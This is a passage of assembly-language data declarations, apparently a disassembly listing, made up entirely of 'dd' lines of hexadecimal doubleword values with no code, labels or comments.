		dd 43ECE956h, 55E781B1h, 3440A5EAh, 824A5986h, 0E7A772AAh
		dd 3F768DADh, 0A8D369B3h, 0C4FF4A28h, 0C6B4F296h, 0B55C9DF6h
		dd 64B4EC80h, 0FA982D26h, 6303109h, 2E650037h, 0C04CC43Ah
		dd 1B91530Ch, 0DE4E01BDh, 0A1174174h, 95A41BB9h, 7E0F81DDh
		dd 59992EFBh, 7FF611E9h, 6445C610h, 0C83CAB90h,	0AC250059h
		dd 15870F6Fh, 0E3FF4BDCh, 0C4B510EBh, 6ADFF7A1h, 0E348CAA9h
		dd 0E0F90B76h, 0E5D6D871h, 0CD0BCF39h, 16A976F5h, 0D1CB2CC5h
		dd 0B11002B7h, 10E6818Bh, 0B2F0C9FEh, 0EC7EE106h, 0ABECB4D4h
		dd 30689700h, 87E1D13Ah, 0F793D90Eh, 0E90C7BD0h, 8C2F0EEFh
		dd 64037C17h, 0F7977A5Bh, 9F809CD8h, 7608460Eh,	0A8CF0666h
		dd 18215D3Ah, 9209F21Fh, 3E3B0CF0h, 0DF4D797Dh,	72E1CED2h
		dd 0C20C8E6h, 0FB130409h, 0B8CA918h, 0D5AE7D6Dh, 19CEAE69h
		dd 5D7A6813h, 862F1CE3h, 2B5FB4C1h, 0FD4E3DA3h,	2EBB4EF2h
		dd 8B4C599Fh, 6DD990FEh, 18BD809Fh, 1DA03116h, 440A12BCh
		dd 0E2C33C4Bh, 102A9F5h, 0EECF40C6h, 340A0A03h,	8CDF8987h
		dd 0BF4EC142h, 0A12A360Bh, 1BEBF764h, 0F9610498h, 0B0B58B5h
		dd 6CE154B0h, 1664CC00h, 0CC05CDFh, 0C8F8FA30h,	0E9FE1301h
		dd 0B277C074h, 0B30E53C5h, 4BD3F654h, 93BE82DBh, 0D2545720h
		dd 7E2C060h, 0DFF89552h, 0C2805A0Eh, 7CF26701h,	2BB35509h
		dd 3AA94238h, 51EAF2C3h, 287CB51Eh, 0E4CBE9C4h,	0B6686E90h
		dd 246BE919h, 27C01FF5h, 730F6AFEh, 76F4D637h, 0B7187DE4h
		dd 1821DE4Bh, 17A7AC44h, 0AF9FC4DDh, 0F4A7E3ECh, 5859F9EDh
		dd 58B2892Eh, 0DA311697h, 0B681EF5Bh, 0CF7F7F63h, 0E90954A3h
		dd 4DD43130h, 2536A2BDh, 9B764776h, 0CBC40634h,	0D86C0B1Eh
		dd 312275CBh, 2906C675h, 68B69150h, 0A9C100D6h,	0FA312880h
		dd 0A352B1BDh, 56EE1D7Ah, 0CB88BA58h, 5D9204BDh, 0AE4D7F5Ch
		dd 850065A8h, 504A8A34h, 7AB719E9h, 17D15DC9h, 0BC54BD77h
		dd 3F95FFD2h, 522C6885h, 0BF1834BEh, 0BDB006BCh, 8A250B0Eh
		dd 5193FD39h, 78BBA650h, 916027Ch, 3D38FD21h, 0BE7A4BC3h
		dd 0A3BAC624h, 0A7152ABFh, 89B47C97h, 0C2A9F3E3h, 0BBF83882h
		dd 5ABEC4DBh, 5982EFF8h, 0E921FEA6h, 0A0DEEB1Ah, 0F0B1A4EEh
		dd 0C6811EBBh, 306143C9h, 2AC7EE01h, 405D1208h,	6DA7BED0h
		dd 317F32AEh, 29972DF6h, 0BA97A73Ah, 84551238h,	505EA832h
		dd 509D13E2h, 85F25F80h, 5A0FBA55h, 9D4D26C2h, 6852008Ch
		dd 210E5E96h, 0E205815Ah, 452F3D55h, 50890780h,	0E9160CF9h
		dd 0EBEB1B35h, 54FE709h, 5EEC33Eh, 80E90806h, 6D38AA2Fh
		dd 3514C50h, 0F380F601h, 40EBC0A2h, 0F90785A7h,	30E2F996h
		dd 7A5331D6h, 0BFA48FECh, 56214F32h, 0BCB20058h, 0DAF6C2FEh
		dd 7CCA802Ch, 650D5317h, 0D2D452F4h, 0F00AD79Ch, 511750Eh
		dd 0B87389D5h, 0CF535098h, 503412ADh, 2291E0Dh,	89F2AFCBh
		dd 0D844D2D0h, 0CC8327E9h, 0C916607Ah, 89AAFEACh, 731DFD03h
		dd 137C4A51h, 0D0BD4F52h, 2B56EC81h, 35400E1Fh,	0C5010D71h
		dd 0B55EE4D8h, 2AC2DE49h, 78BE0513h, 0DE6531DBh, 0ACC15B23h
		dd 0EE01FEE6h, 0B3543002h
		dd 0E9F171B7h, 21992155h, 8F6DFF0Bh, 0B2789DCBh, 0F1531494h
		dd 3283ACD4h, 207F83ADh, 0DD868184h, 625502E5h,	1EC7453h
		dd 8C25C8BAh, 7DCCBE6Fh, 3EB77D4Eh, 6BE3DB18h, 0DC9102EBh
		dd 680A8490h, 44A22957h, 8D0F0314h, 0DD94EC64h,	619CB0BEh
		dd 1736D849h, 8AAB6DEDh, 25885890h, 0CCF1520Eh,	0EBFBF4C8h
		dd 409D30Bh, 0C313803Ch, 0DF2D46C5h, 0A1CA403Eh, 0CE9981Ah
		dd 0C3ABB764h, 0EC5DF1ABh, 2EF5A46Ch, 0D955E33Dh, 4CB244B8h
		dd 0F4254FFCh, 6F0381EEh, 0C38F2D25h, 29080ACFh, 0A16D1347h
		dd 6EA3A93h, 8E9BCDE2h,	12191EBFh, 0B4883FE9h, 0BB0FF78Ch
		dd 857BE71Fh, 4289BFA6h, 0D270CF8h, 54ED8123h, 76B03E0Dh
		dd 1CD79752h, 54D8CBB7h, 0A55F8262h, 7BAC91EDh,	0A225A74Ch
		dd 785B44C1h, 31FE5A7Ch, 9E2E2Ah, 2D0195BDh, 2B0009B7h
		dd 252456EDh, 860F7806h, 7C44CB7Eh, 253F98C1h, 24F45BC7h
		dd 96B06863h, 36CF27E9h, 734326A0h, 6FB8281Fh, 0E2E60D98h
		dd 1E996818h, 3C17B21Eh, 159846FBh, 0EAFD3F35h,	9FD85181h
		dd 65229E2Eh, 0C960F8F6h, 2084D25Ah, 5EBFA0F9h,	0A12BC46Fh
		dd 0CFB63F7Ch, 56F15825h, 0E98AB0C9h, 79914957h, 0B819090Ah
		dd 538C0CABh, 74B7C6DBh, 0B25B1387h, 0B2246223h, 0DEF7024Dh
		dd 0E7FD8D40h, 62BBFE4Eh, 27D3C4Dh, 0F50483C3h,	693151h
		dd 3659B2BAh, 0E94A0C25h, 0BF180737h, 5A3DB37Ah, 94B2F6Eh
		dd 1CFDB13h, 0BA958DF5h, 88812BC5h, 0AB67693Eh,	7EDAC310h
		dd 1C19AA33h, 0F580F801h, 4FC7BACFh, 6313FB08h,	0ADC912AEh
		dd 7D29278Eh, 0CE891CA2h, 20EDC09h, 562ECA7Eh, 8B38F65Fh
		dd 8CF0F121h, 1B01F712h, 0B0BA1C0Fh, 586D025Eh,	9F415055h
		dd 774E3B84h, 0C70BE2DFh, 0B0E27AFFh, 6F9F312Ch, 20D7F7A6h
		dd 46020923h, 3E95F87h,	2D7957F4h, 0E68D5D27h, 0EA76DAA2h
		dd 5660F42Dh, 0DB514090h, 0BB7018Bh, 0E5DB50B4h, 713B597Dh
		dd 77CD0048h, 45394E67h, 0C5DD4EE9h, 18F6E818h,	0F66A4C5Fh
		dd 0E1C02CD1h, 8F9398B9h, 0BF4E1FE9h, 0EE6D67BBh, 0AB573CE5h
		dd 4B56A98h, 0E942300Bh, 2F7CB12Ch, 50C571EAh, 0BA207EE3h
		dd 18392ACAh, 384A2FB9h, 0BFC0C9AFh, 0C89612EFh, 0B6729D6Fh
		dd 0A0E48020h, 9F4A954Eh, 0D6956BD4h, 0C68B0DDCh, 4A793C53h
		dd 0AA2B9D41h, 9D016678h, 76A730F1h, 0C2DF7A71h, 0A6B5795Dh
		dd 1B2105CCh, 6DC1AAB1h, 0C212DCA3h, 7D1E6A77h,	0ADD57A82h
		dd 5C2ABA00h, 1F517C9Ah, 8A525EF2h, 3A79DA3Bh, 0A1EA7788h
		dd 0EA81F42h, 302968CFh, 0BC93FBB0h, 88BE39D7h,	0CE7AE795h
		dd 71696BB4h, 0FD486387h, 0C8772670h, 0E24E3FDh, 6029892h
		dd 63782204h, 4F62F103h, 4185BA48h, 28D1ED7Ch, 40E85B0Ah
		dd 9EF8FAF4h, 7A9A66B1h, 0B67E628Dh, 6C3712A2h,	0ED2D71E3h
		dd 0D2351480h, 641F8209h, 100CC621h, 0B5F0BD07h, 0D5A74FE5h
		dd 96669149h, 2A09877Ch, 3514777Dh, 0DE359C7Dh,	81EB6697h
		dd 12D867Ah, 5DA0F921h,	22683DC3h, 0D572EADFh, 0FD195735h
		dd 1F62A58h, 11266C4Ch,	0FCA8A873h, 0FBFF8202h,	20263ACCh
		dd 29DE8F03h, 1F3F817h,	47CC5034h, 0B044F101h, 0C457081Fh
		dd 770928B0h, 0A60227EBh, 943F7EE5h, 0D378FEEDh, 0D1A2BBACh
		dd 0CB2746FAh, 0C7D55C59h, 5B1C7C18h, 7913D0B7h, 1CC33E38h
		dd 0AE5CFA92h, 0A403FD95h, 0C17B690Ch, 9430DBF7h, 0E9FE4AD5h
		dd 32A67Eh, 7CAF2E82h, 5B3F381h, 5072C201h, 4156DD68h
		dd 8F90DDE2h, 0D1BFDAC1h, 0CC834332h, 1EAC645Bh, 25A86882h
		dd 0E2809A71h, 3155381Dh, 4AC9EFDh, 82641B9Ah, 0B7FB845h
		dd 46B47536h, 5F28E927h, 485F1AB9h, 94421FFh, 0D5D0A2F9h
		dd 1D581AEAh, 0CDC397h,	0D95AB3EAh, 60E3814Fh, 2976617Fh
		dd 8D0CB1Ch, 0A0436ACFh, 24B713C3h, 232D9694h, 0BA57A598h
		dd 0FCBA7DBDh, 0C6E0315Dh, 5A4C0430h, 39ECB4B5h, 705F204Fh
		dd 1A96654Dh, 502EBF3Ah, 44B7E909h, 0F41DFC25h,	5407C744h
		dd 102BB06h, 741F836Bh,	0C51D3C0Ch, 7717390Fh, 20C8AEDDh
		dd 7C59508h, 74E5742Dh,	32C5E917h, 0DA1871FFh, 0D7886E5Bh
		dd 4CF97789h, 6DC45A92h, 9CEF134Bh, 72EFC693h, 6534E02h
		dd 9452CA16h, 13359EBAh, 7DA02AE9h, 0C0AA16B0h,	4A50A0E8h
		dd 0E0E5DF41h, 3AA01389h, 0AAD63EA5h, 95A36F44h, 0E35F32FEh
		dd 0BB047450h, 653361C8h, 83E5880h, 815F13ECh, 561F00CFh
		dd 6636E901h, 33606897h, 3A0D2830h, 0BDF24ECDh,	8FA851Bh
		dd 1FFFDEFEh, 634271F9h, 0A1AFA4E9h, 52548C99h,	0ACF6EF04h
		dd 0FEC0D80Fh, 8A059FB1h, 0C9D1CD68h, 1050A44h,	0B16D488h
		dd 5E1F2E5Ah, 1CD208A8h, 2189C5FEh, 640FF2E7h, 44EFEE0Ch
		dd 0C3D5BBD5h, 0C2FEF7AEh, 426A12B8h, 0A1C075ADh, 1A79F705h
		dd 0C24CAB78h, 6264DE24h, 54AFF6A7h, 0EEDE0B7h,	12AB1D4Fh
		dd 6C668B5Bh, 3920D766h, 5E7F98A7h, 439C14D9h, 5BB7EE10h
		dd 0EF5EDFBCh, 0F55D8309h, 0E96DED44h, 0E92F26E6h, 8A68B057h
		dd 408D9E3Dh, 0F5BA5257h, 27C11006h, 0B70BB5BFh, 0E9132AC4h
		dd 59296E33h, 84328535h, 0D6946715h, 13992310h,	1806B353h
		dd 0FC3D9C8Bh, 333D1DFDh, 0CC9812Bh, 871EA17Ah,	12C39818h
		dd 5F542D30h, 295A0AC7h, 250705C8h, 0A3A50514h,	0B8BADD4Ch
		dd 7C0A06D7h, 887E31E9h, 29F4AF9Fh, 74DF040h, 0EF2D665Dh
		dd 0F0294322h, 0E3105BBh, 1E500A5Eh, 0B8D001F0h, 0C0384082h
		dd 48DCE66Fh, 0FF3117E8h, 0D7F7A260h, 75815C47h, 1DB02609h
		dd 1ADDAA00h, 0FEC16D07h, 4D904BB7h, 13E4D960h,	0E169B629h
		dd 1D3680DAh, 0E9F31A33h, 9A429519h, 690BFB55h,	0E4736104h
		dd 0DF410E11h, 1289BA60h, 160772Dh, 88D27B08h, 3F047B9Fh
		dd 5C1FEEDCh, 782905E7h, 112C8773h, 30770812h, 6116B797h
		dd 0C014A4E6h, 95061AD5h, 0FA48DF34h, 5688B12Fh, 35F12D80h
		dd 51176A58h, 0CC13F028h, 203ECBF1h, 690112E9h,	5351550Fh
		dd 0B3526268h, 5E724048h, 90A98337h, 0DFA33B36h, 8796915h
		dd 2F735226h, 0B57AE562h, 2AF5F3F2h, 5AC4968Ch,	5F17E334h
		dd 0BBAE34BFh, 0EAB4D9B2h, 0E9094DB3h, 0F8E96D57h, 7F097648h
		dd 7CC4F01h, 0FEFCC2E9h, 497A2566h, 63521B54h, 332968CEh
		dd 0B370A69Ah, 985D0F09h, 82C15838h, 0D6018B07h, 45BD66F3h
		dd 20CDDE81h, 41735DC2h, 7C08AC27h, 7EE2515Fh, 838411F2h
		dd 1A248AEEh, 575EAA53h, 0EB727A64h, 0C0E81C12h, 0DD180BFAh
		dd 62C77190h, 11566112h, 88D50FAh, 82E95E0Fh, 0FE517B35h
		dd 0AC0B0628h, 0AB845166h, 4231BA36h, 9B62F55Fh, 8C42BC0Bh
		dd 8089B288h, 496D2D99h, 10905359h, 12634B2h, 0DC2F01CDh
		dd 0AAEB42A7h, 0BB25B5B4h, 0C2A0FC4Dh, 250E9B97h, 10834077h
		dd 68100992h, 70D641E5h, 0DF5377C9h, 0F3BA5393h, 8AE25F5Bh
		dd 81DF29C4h, 6AB7956Eh, 43B45820h, 58E22F30h, 5000EBF0h
		dd 0C38036B0h, 5FD8E922h, 0BB01951Ah, 0D6EC2AF1h, 5E0A541h
		dd 4B7E7B68h, 3CE0F4DCh, 65004625h, 0D0F7161Ch,	4294E05h
		dd 1E978C9h, 0F0A6AF4Ah, 0C5378B40h, 0A4A64F43h, 0D04F958Fh
		dd 0A91E07F3h, 33D62DD9h, 9338415Ah, 0F2020DBEh, 7B272FDCh
		dd 378C03E0h, 50458FEh,	0DFFD4468h, 1F9013AEh, 732409DDh
		dd 4D38CEDFh, 680019D2h, 38692D4Ah, 0F530815Dh,	0BDE90F4Bh
		dd 38C4B5C2h, 0EC4B84B0h, 98EA0C17h, 927B3935h,	0D482A184h
		dd 9E56A96Bh, 0FE6EF1DDh
		dd 92AD1382h, 0F77D62E0h, 808B104Ah, 0E92421DDh, 44788DCAh
		dd 49FDD0A2h, 669A326Fh, 0D9F58F90h, 9D7B3E2Ch,	5DB9C200h
		dd 225C9F02h, 0FDA50659h, 974DD60h, 32D950F4h, 8A06EF4h
		dd 6CFDE1B7h, 0EC6AFEEDh, 8257C9D9h, 0FC3D60A3h, 56AA60E5h
		dd 569D6F61h, 0EB894966h, 81226DF1h, 0FB34D69Dh, 0CE18607h
		dd 0A0CE75EAh, 442C60D9h, 49B6A041h, 11200948h,	702042E9h
		dd 0D6F650B6h, 3BB55112h, 22FAF417h, 7C7559E0h,	0C24A16DEh
		dd 2F7C4794h, 82FCCC12h, 130877C4h, 5873FB80h, 948FA03Dh
		dd 721E0217h, 0A9518A0Fh, 0F92037E8h, 0C45339EBh, 8707EC7Ah
		dd 0D70673F1h, 0E35E5224h, 92A05A27h, 130842EFh, 78890990h
		dd 9FC5CCE0h, 5EC23A5Eh, 160509FEh, 0EB41951Ch,	0F81792C7h
		dd 0EE976FE8h, 7755DB32h, 6814D16Ch, 0DEDA36E3h, 309C30Eh
		dd 0F227E916h, 505C55FEh, 5703C562h, 0C47E2E46h, 4216F1B5h
		dd 3A225D18h, 87120B95h, 5142D700h, 2BD3C0Fh, 55D64398h
		dd 4688B65Bh, 0C68003BAh, 0C82751D4h, 27D1D2ABh, 0BB7BFD03h
		dd 5F3EBA00h, 0F1312405h, 3F28E471h, 232B0079h,	810F5668h
		dd 0F4B5366Bh, 0A4245495h, 0BA891E6h, 562BFB1Eh, 0DD95BEDAh
		dd 2CBD959h, 0C13808h, 0C36C60BEh, 6F02C1A1h, 8F5DD404h
		dd 0B420E8BFh, 0AFEF13EAh, 0E9C338F2h, 550E352Bh, 4085220h
		dd 8DBAF131h, 194630ABh, 4D374895h, 65D52866h, 401741D7h
		dd 5CCD5A9Eh, 0BF9A2CF4h, 0EB850F09h, 15CEFD48h, 5045A922h
		dd 2478CB56h, 5E3EF72h,	0AA2C8BEAh, 0F897EDB7h,	89BA8152h
		dd 84CACE3Fh, 279098F4h, 4C7B384Ah, 66275110h, 62587DB9h
		dd 74641609h, 98125CF3h, 507BB235h, 609E0C0Ah, 7A92CD80h
		dd 0F94D159Dh, 189772CDh, 0C783BB2Dh, 345F7E5Ah, 0AF889A6Eh
		dd 0E8C40FEDh, 0FFA8AF5Dh, 0A4E1ACE4h, 5FBAC283h, 2C3A044Bh
		dd 752DAB94h, 1234F1DDh, 0C111A07Ch, 751C1D24h,	0E78EBF44h
		dd 0A8135C09h, 48E04E55h, 57FB2D3Fh, 0B980ECBh,	225F5638h
		dd 9CB37AD3h, 2792AB16h, 4A6E62CFh, 0B5B361CBh,	88525000h
		dd 0F8BDEE72h, 8EA010F7h, 1ECF02FEh, 40664302h,	4452563h
		dd 84E9F418h, 54F2FF0Dh, 0C7D65A2Dh, 0C612B202h, 8885761Fh
		dd 680307E7h, 42D5C62h,	595F6C0Ch, 6AD2011Dh, 5E823DC0h
		dd 95DE22Ah, 68AC0175h,	5C28050Dh, 0C6388FC2h, 133D1440h
		dd 9106EE9Fh, 570C1337h, 82F2ED66h, 13FEDE38h, 0B8AF72C2h
		dd 5CC2B412h, 0BD7E2541h, 0FE49855Eh, 2C86CD4Bh, 25804296h
		dd 3371F2F6h, 10478F43h, 75FDFC4Eh, 52027B2Fh, 0C4AE4BA0h
		dd 8065BC7Fh, 6780EA81h, 12C1426h, 845ECFAh, 0F2FA5A2Fh
		dd 0C1816BD4h, 0EE27C268h, 0B711DCECh, 0A818BCBh, 2A707120h
		dd 45F16340h, 0BF1EE80Ch, 91E02EE2h, 11124DF3h,	0C803055Bh
		dd 954933B3h, 3C60DDAEh, 5DD0D67Dh, 95C8BE0Fh, 0EF26D923h
		dd 7BD1684Ah, 0E63CAE1Ah, 0F6B7FA92h, 8CACE90Ch, 2397C39Bh
		dd 0EAFB010Fh, 27F850E4h, 0DBD95766h, 0E97002C4h, 549F2DA1h
		dd 0BA528784h, 3EB33334h, 17E9D6C8h, 1221AD6Ah,	4BAFB20Fh
		dd 59892578h, 50790ECh,	0F5A10FCh, 0FF2CC4C4h, 0F8F9D574h
		dd 0B31A806h, 185BAA58h, 22E580BCh, 11EAD224h, 811EFA76h
		dd 0B54CAF42h, 0BD8AD943h, 254D96FAh, 0D6B6575h, 3B44A015h
		dd 5C9068FFh, 0C15CCCA4h, 0D568091Bh, 37AEA201h, 7A60F4C8h
		dd 55E901D4h, 2BD62F00h, 0BD044C62h, 0B39DD42Eh, 2D2400FEh
		dd 34FA0B3Fh, 5E82914h,	0E95D0607h, 7767D13Ch, 0C3634BEFh
		dd 634B5CB5h, 89DB30BFh, 0DB24E9CDh, 1789A6B1h,	2081C6FCh
		dd 5F4E71E2h, 643378ABh, 950105F5h, 2F8D7032h, 8B1B1F3Eh
		dd 74A45D0Ah, 0E2A604C8h, 5AF3BF12h, 0FB982A62h, 0A8D8D3A6h
		dd 0F65B69F0h, 0D7F254C7h, 95144492h, 28AA267Bh, 2721659Dh
		dd 0FAD8FA56h, 0FB539F5Fh, 9A3957ADh, 65092AB9h, 0AF16C85Eh
		dd 468F2D53h, 74BF296Ch, 0CA1C50AFh, 176CEDBEh,	0FE8A24F3h
		dd 6AD54B6Ah, 5A9781C9h, 5F7912Fh, 0B86D02C6h, 584B8038h
		dd 4AB8499Ch, 9DC9C620h, 183D33F1h, 0F14EE9Eh, 97012A8Fh
		dd 5BC1F8C5h, 84FFBC39h, 9211FD81h, 0EF01A4D7h,	20BE9B4Ah
		dd 34C471C8h, 14E0DC4Bh, 3C169F29h, 5E5C7DA2h, 0F5680702h
		dd 0C0B59A64h, 97DF1AAAh, 0AAC26793h, 75BC76DEh, 0FE99D283h
		dd 83D72F65h, 0E7E424h,	31C30D10h, 840F6571h, 0D3C6B12Fh
		dd 0F45B894Fh, 0C2527756h, 0E9B02A58h, 0F7AFF189h, 6CFA9196h
		dd 769DA8B0h, 0C98D68B5h, 0A23CC4F5h, 5C5C7D6Ch, 0DDDA290Bh
		dd 0F28546E5h, 69A88BE9h, 820AC75Bh, 53947DD4h,	97B8CF20h
		dd 0B14944C4h, 1FA4ABFh, 2F2F786h, 5B5AA4E2h, 5EB2662Dh
		dd 481FA629h, 96358474h, 81EAB80Bh, 9D0BEBD5h, 2118A1FEh
		dd 24FC7EDDh, 4ADDA84Bh, 16DD8BFEh, 0C1B9899Fh,	4F7591D2h
		dd 2A832B5h, 33592931h,	0E7F6E06Fh, 1A18BF16h, 0CA387E40h
		dd 1BE98942h, 0B93098F4h, 0EA5A12D5h, 84F097Ah,	162FCB80h
		dd 12F06FF3h, 6BC8F15Eh, 6B76BD5Fh, 0A46F66D9h,	0B7DD4482h
		dd 965755h, 39D0CF22h, 3455355h, 2E323352h, 18F6C64h, 0CC564441h
		dd 0DA64950h, 38544E3Fh, 0F0AD54Ch, 13E9F001h, 680AC009h
		dd 0AE5CE76h, 0B24823F4h, 0F4507ADFh, 2284190Ah, 0F42D03Ah
		dd 21D17311h, 84EE1005h, 1644B1FBh, 44F148D3h, 20E72297h
		dd 4139F299h, 9CB80C4Bh, 5C2F400h, 8A4F7055h, 0CBFDD016h
		dd 9D4DDA03h, 0E0509723h, 7211AADh, 0AA671469h,	34EFD0F0h
		dd 0D00CD46h, 0F9DE355Eh, 6D083Bh, 0BFE694C9h, 0FF4CCE09h
		dd 3D0E0C0Eh, 35A823D3h, 7DC0D787h, 0B26F1Ch, 4E8CA666h
		dd 2A22652Bh, 0F2E7D41Eh, 50FAADC0h, 0A7A1EBh, 0D685A5A3h
		dd 3CFC431Ah, 0A2867500h, 223F1DF1h, 0AAAE0063h, 65CD9E5Ch
		dd 6907C370h, 3DB75338h, 0EB6FCB10h, 1B440017h,	0F26D052Eh
		dd 0DC18CF09h, 773E3418h, 0C3A60784h, 80A4E8B9h, 3DF682E7h
		dd 7B2E1D00h, 0CDFFD288h, 71D60012h, 0E8DD0D5Eh, 844D9234h
		dd 8C3F007Ah, 14A2E753h, 2A6F00DBh, 96EB5F98h, 761424E5h
		dd 986D13h, 375943B7h, 0C306F4h, 4A8F7BBCh, 3316C43Dh
		dd 9C4E8903h, 0E2B8E377h, 66A680DDh, 0E4973BBh,	8042C803h
		dd 99FC7E60h, 161534F7h, 86EEB25h, 4046DFABh, 3CFB5FDDh
		dd 6B00BC77h, 6C1E4176h, 3F49452Bh, 0CD8B50A8h,	0B883F01Ah
		dd 21F8AFE2h, 97FA6419h, 69007377h, 6793FDB0h, 0BD7602h
		dd 0B98C0443h, 29CF6314h, 0A0FD066Fh, 2065D50Eh, 0ED5D099Ah
		dd 1220E6A8h, 91F4A663h, 7E2CEF00h, 0B1C7C131h,	41840076h
		dd 0C80DFD3Eh, 947B4683h, 1AD00B01h, 113A61E9h,	39E4FD84h
		dd 2F5E00F1h, 9F6CEEh, 226B0E2Ch, 0CB8FABE5h, 0FB24770Ch
		dd 39D2FAAAh, 488F0DBFh, 85C010C3h, 1973D842h, 4F88301Eh
		dd 0BB27A043h, 76D4F8ADh, 61182447h, 688498D2h,	0C366ECBFh
		dd 0C8AB4Fh, 0CB6F22C9h, 2327E096h, 0CFCD81Ch, 0B8527F8Ah
		dd 0B56E1A81h, 0ADD461C5h, 0E47E9Fh, 1E64B20Bh,	790C368Dh
		dd 0DE4A8629h, 1535F680h, 0E46EEA26h, 0AC507F7h, 0C9B4DDCEh
		dd 0E2896E00h, 94002558h, 1DAAEF5Bh, 0A22624h, 0FA547D2Eh
		dd 42293BFBh, 56E0162Dh, 0A8B48121h, 805E87D4h,	8443797h
		dd 0A09B21h, 0D63028BAh, 904B7114h, 0E719B4FAh,	0F66EB79Fh
		dd 76D8A03Bh, 0D5003BEEh, 92F77326h, 0DB1E0h, 4D3D17CAh
		dd 0A3874008h
		dd 537C2F18h, 0FE412A2Dh, 0B9B10CB3h, 3365FCFh,	0FBAE0607h
		dd 0F3102C7Fh, 73E33217h, 2A5F0238h, 0B29E6DEDh, 0FDBAB640h
		dd 0D2F99F03h, 0A0857FECh, 447568h, 0D3FCAF8Bh,	0AA46D955h
		dd 3397C102h, 9370A9DEh, 6C6DB897h, 0E40904DAh,	0E0C0AE40h
		dd 48007361h, 0D0E6DB8Fh, 6EA317h, 0EA2F9B5Ch, 57AA60D9h
		dd 3401217Eh, 0EB9D07FBh, 70D47A30h, 8EC31CB7h,	774A04F9h
		dd 3380C045h, 0CB24F4A7h, 0A20446DAh, 0C488B7F7h, 0E25D006Fh
		dd 68CA7378h, 0A95080B0h, 4A00F0BBh, 6BA56217h,	90D23CC8h
		dd 61043033h, 0E08FB188h, 8DC8F295h, 843603D8h,	880312C3h
		dd 0D588CDD1h, 406C9F4h, 0CC62680h, 0E35C6C4Ch,	0DB946724h
		dd 14DA520Eh, 5E4D02E7h, 608246ECh, 0A1F569h, 1C321925h
		dd 0BA965179h, 9DBD6E03h, 129E20Eh, 7DE11E7Ah, 8955D26Bh
		dd 60AAD6AEh, 9CC670h, 0E8DE9A52h, 712668CBh, 75287B00h
		dd 2CED90F5h, 14B012Eh,	4F744C6h, 9F5BC0C8h, 0FE8A3660h
		dd 0E4AF2B0Dh, 66572480h, 3F612819h, 4AA61013h,	0CD8D00BCh
		dd 44ACFF7Bh, 48DB31EFh, 0D49842E9h, 0E029D207h, 10921FD8h
		dd 1BF783C4h, 0CB1F1CF2h, 0A8CDC020h, 570426E3h, 1A432E30h
		dd 381407h, 0C7965210h,	3DDD16A2h, 92BBCE18h, 806B23h
		dd 6AF0375Bh, 5F0C2EE1h, 96499B34h, 4C21A180h, 60C3483Ch
		dd 134D8602h, 0FD606918h, 61B0EB0Fh, 3A00DCB2h,	0A1E4568Fh
		dd 46CDE19h, 0E8A26529h, 8018C495h, 0FDAD6EA4h,	4440B200h
		dd 0CE03F730h, 8C7E1CBFh, 13C70049h, 99518A3Eh,	0A2E06A35h
		dd 8E6B3940h, 9A2A678h,	5ED586A4h, 9B1FE8A0h, 0B6B2A7D0h
		dd 4C8D7E03h, 8895FF38h, 0C044E6h, 64AF50BBh, 0FAA70E37h
		dd 34E73B07h, 8470CDC1h, 2586148h, 0A1D62B9Fh, 4363E268h
		dd 802E98F9h, 52BE6D2Ch, 7C9A5567h, 0FA934CAEh,	2A45806h
		dd 0A758F70Ch, 0A39C8474h, 770017C4h, 9BFEAC6Dh, 783200F5h
		dd 0BFC1BB2Fh, 4B2A8E7Ch, 851FA804h, 11409E4Ch,	6BEF64D6h
		dd 0F785F940h, 0C0FB33EEh, 0D478012h, 87622C60h, 721AD3E2h
		dd 2346043Eh, 0C77F599Eh, 5E9960BDh, 9C0F4FBCh,	41F06D7Eh
		dd 89B2F97Dh, 95CAD24h,	124265AFh, 0F8A0D22Eh, 0DD37F085h
		dd 8E3A22h, 9772C9B2h, 42BE2FADh, 130B194Ch, 3409A893h
		dd 0CAB46105h, 2E620134h, 3E988BEEh, 0BAE3368Bh, 0E8931A20h
		dd 0C6018CACh, 75260402h, 87209209h, 5329864h, 91599CBBh
		dd 0A02A80D9h, 1ECC8FE4h, 1286846Bh, 5DB784h, 0A2C99AE2h
		dd 9302E5DEh, 0E1B0C6BBh, 3CD8C4DDh, 0BA0349B2h, 0A3EB3C91h
		dd 935D5E06h, 4C3871D7h, 9A00D93Ah, 78FC1E0Dh, 0BA007505h
		dd 0E761AB90h, 4C565E3h, 379E2C41h, 752AC083h, 55005682h
		dd 94E55391h, 2B0FFCh, 0E8B72457h, 0D57B5C6Ah, 0EA9EFB00h
		dd 23540931h, 976413E6h, 0C05200BDh, 0AFBF7C87h, 0B49F7900h
		dd 7092A85Fh, 3F4EE201h, 0CC00780Dh, 0C8358D90h, 601284ACh
		dd 0C7C2E4CEh, 716C05Fh, 8AB45DC2h, 50B6950h, 96448536h
		dd 104580B3h, 0F904E317h, 63A614D7h, 0DDEEC8h, 2953B664h
		dd 43173CEEh, 0D7EF1812h, 0DBC62802h, 44A346D3h, 7A17017Ch
		dd 9D5DAAA1h, 0FC287D64h, 5E5CD61Ah, 7E4361EAh,	1891F0h
		dd 27BAD719h, 9BE9BF5h,	966AD003h, 0E8E9CC5h, 4E8A713Ah
		dd 0B9F687A0h, 0C700B71Eh, 0E50174B3h, 1F9ACFBh, 934C7C51h
		dd 20F03CA9h, 31527A9h,	81636Dh, 0B872ABDEh, 0E0FA3545h
		dd 12B94DCDh, 823B9B52h, 64969100h, 27935478h, 0A02C8A92h
		dd 3707066Dh, 0BD60A6D2h, 2897C496h, 1081D86Eh,	0B04C5A47h
		dd 24385DD1h, 24775592h, 3FEC8427h, 0C66E804Ch,	300D701h
		dd 59E15A6Eh, 0C0C19024h, 0BC6FDC94h, 740CE850h, 3D82ABF0h
		dd 2B986Ah, 917A907Bh, 8A5B075Eh, 65B94C00h, 0D82E212Bh
		dd 0CD9E0A12h, 9B1DA4h,	0B2469279h, 1C60B6E9h, 6EEC9F12h
		dd 8245090Bh, 0F7ADC498h, 6F49F41Dh, 3E035C00h,	0CD07F406h
		dd 28530027h, 0E6CE2FD3h, 41148B30h, 7872468h, 3AFA4833h
		dd 0F820AB53h, 90ADA0AAh, 99CA18BFh, 197C5495h,	92B87304h
		dd 288060A9h, 76D98C7Fh, 12499031h, 0D8B957h, 0FC8DDCBEh
		dd 34170703h, 9A00D941h, 5F5A863h, 0FEAD0C21h, 8F5494D5h
		dd 0BBA0700Eh, 8012895Fh, 4639F236h, 9D2F000Ah,	0BA10B8A2h
		dd 0D700A4A0h, 0FDC9BBD6h, 0B58B404h, 0DBE101ADh, 0EA2555A3h
